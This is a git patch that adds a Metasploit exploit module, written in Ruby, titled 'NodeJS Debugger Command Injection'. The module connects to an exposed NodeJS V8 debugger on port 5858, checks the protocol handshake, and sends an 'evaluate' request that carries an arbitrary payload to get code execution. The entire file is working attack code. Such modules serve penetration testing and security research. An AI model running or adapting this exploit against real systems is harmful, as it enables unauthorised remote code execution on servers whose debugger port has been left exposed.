From d71f7876b8e8c3465b57b711940b34e0153f0bc1 Mon Sep 17 00:00:00 2001 From: Patrick Thomas Date: Sun, 3 Sep 2017 17:21:02 -0700 Subject: [PATCH] initial commit of nodejs debugger eval exploit --- .../exploits/multi/misc/nodejs_v8_debugger.rb | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 modules/exploits/multi/misc/nodejs_v8_debugger.rb diff --git a/modules/exploits/multi/misc/nodejs_v8_debugger.rb b/modules/exploits/multi/misc/nodejs_v8_debugger.rb new file mode 100644 index 0000000000..968ad5ed29 --- /dev/null +++ b/modules/exploits/multi/misc/nodejs_v8_debugger.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n" + MESSAGE_TEMPLATE = '{"seq":1,"type":"request","command":"evaluate","arguments":{"expression":"%{payload}","global":true,"maxStringLength":-1}}' + + def initialize(info={}) + super(update_info(info, + 'Name' => "NodeJS Debugger Command Injection", + 'Description' => %q{ + This module uses the "evaluate" request type of the NodeJS V8 + debugger protocol (version 1) to evaluate arbitrary JS and + call out to other system commands. The port (default 5858) is + not exposed non-locally in default configurations, but may be + exposed either intentionally or via misconfiguration. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Patrick Thomas ' ], + 'References' => + [ + [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ], + [ 'URL', 'https://github.com/nodejs/node/pull/8106' ] + ], +# 'Platform' => ['node'], +# 'Arch' => [ ARCH_NODEJS ], + 'Targets' => + [ + ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Aug 15 2016", + 'DefaultTarget' => 0) + ) + + register_options( + [ + Opt::RPORT(5858) + ]) + end + + def make_eval_message + escaped_payload = payload.encoded.gsub(/"/, '\\"') + msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload} + msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length} + return msg_header + msg_body + end + + def check + connect + res = sock.get_once + disconnect + + if res.include? "V8-Version" and res.include? "Protocol-Version: 1" + vprint_status("Got debugger handshake:\n#{res}") + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Unknown + end + + def exploit + connect + # must consume incoming handshake before sending payload + buf = sock.get_once + msg = make_eval_message + print_status("Sending #{msg.length} byte payload...") + vprint_status("#{msg}") + sock.put(msg) + buf = sock.get_once + + if buf.include? '"command":"evaluate","success":true' + print_status("Got success response") + elsif buf.include? '"command":"evaluate","success":false' + print_error("Got failure response: #{buf}") + else + print_error("Got unexpected response: #{buf}") + end + + handler + end + +end